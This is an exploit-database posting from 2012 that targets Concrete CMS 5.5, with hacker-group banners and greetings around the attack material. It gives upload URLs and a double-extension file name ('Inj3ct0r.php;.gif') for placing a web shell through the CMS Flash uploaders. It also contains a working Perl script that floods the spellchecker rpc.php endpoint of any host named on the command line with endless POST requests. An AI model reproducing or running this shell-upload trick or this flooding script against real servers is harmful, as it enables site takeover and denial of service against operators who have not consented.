Home / exploits Concrete CMS 5.5 Shell Upload / Denial Of Service
Posted on 22 May 2012
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : 1337day.com 0 1 [+] Support e-mail : submit[at]1337day.com 1 0 0 1 ######################################### 1 0 I'm KedAns-Dz member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ### # Title : Concrete CMS v5.5 <= Multiple Vulnerabilities # Author : KedAns-Dz # E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com) # Home : Hassi.Messaoud (30500) - Algeria -(00213555248701) # Web Site : www.1337day.com | www.inj3ct0rs.com # mY nEw FaCeb0ok : http://fb.me/Inj3ct0rK3d # Friendly Sites : www.dis9.com * www.r00tw0rm.com * www.exploit-id.com # platform : php # Type : Multiple # Security Risk : High # Tested on : Windows XP-SP3 (Fr) ### ## # | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << | # | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 | # | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * soucha | # | ***** KinG Of PiraTeS * The g0bl!n * dr.R!dE ***** | # | ------------------------------------------------- < | ## ./<3 <3 Greetings t0 Palestine <3 <3 # Home : [http://www.concrete5.org/developers/downloads/] #### p0c 1 [ Upload File via FlashUploader ] ###==> http://127.0.0.1/concrete/flash/thumbnail_editor_2.swf http://127.0.0.1/concrete/flash/thumbnail_editor_3.swf http://127.0.0.1/concrete/flash/swfupload/swfupload.swf http://127.0.0.1/concrete/flash/uploader/uploader.swf # Upload File/Shell Inj3ct0r.php;.gif #### p0c 2 [ DDos with RPC 'using simple PERL script]===> #!/usr/bin/perl use Socket; if (@ARGV < 2) { &usage } $rand=rand(10); $host = $ARGV[0]; $dir = $ARGV[1]; $host =~ s/(http://)//eg; for ($i=0; $i<66; $i--) { $user="w00t".$rand.$i; $data = "Aa" ; $lenx = length $data; $rpc = "POST ".$dir."concrete/js/tiny_mce/plugins/spellchecker/rpc.php HTTP/1.1 ". # Or use just /index.php "Accept: */* ". "Content-Type: application/x-www-form-urlencoded ". "Accept-Encoding: gzip, deflate ". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) ". "Host: $host ". "Content-Length: $lenx ". "Connection: Keep-Alive ". "Cache-Control: no-cache ". "$data"; my $port = "80"; my $proto = getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto); connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo; send(SOCKET,"$rpc", 0); syswrite STDOUT, "+" ; } print " "; system('ping $host'); sub usage { print " usage: "; print " $0 <host> </dir/> "; print "Ex: $0 127.0.0.1 /concrete/ "; print "Ex2: $0 target.com / "; exit(); }; # << ThE|End __________________________________________________ < I'm VerrY BusSyY :p (x__x) 0xFuFuCkcK 0xShsHiiiT > -------------------------------------------------- ,__, > Fr0m Z0nE 404! < (oo)_____ Inj3ct0r LAB (C) 2012 (__) K3d ) OWASP Algeria Dz Offenders & CA | HMD ||---|| * all Dz Hax0r5 #================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]======================================= # Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Caddy-Dz * Mennouchi Islem * Rizky * HMD-Cr3w # + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) # Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * # Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * TM.mOsta # Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X # Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * TrOoN * T0xic * L3b-r1Z * r00tw0rm.com # packetstormsecurity.org * metasploit.com * Chivr0sky * OWASP Dz * All Security and Exploits Webs .. #===================================================================================================
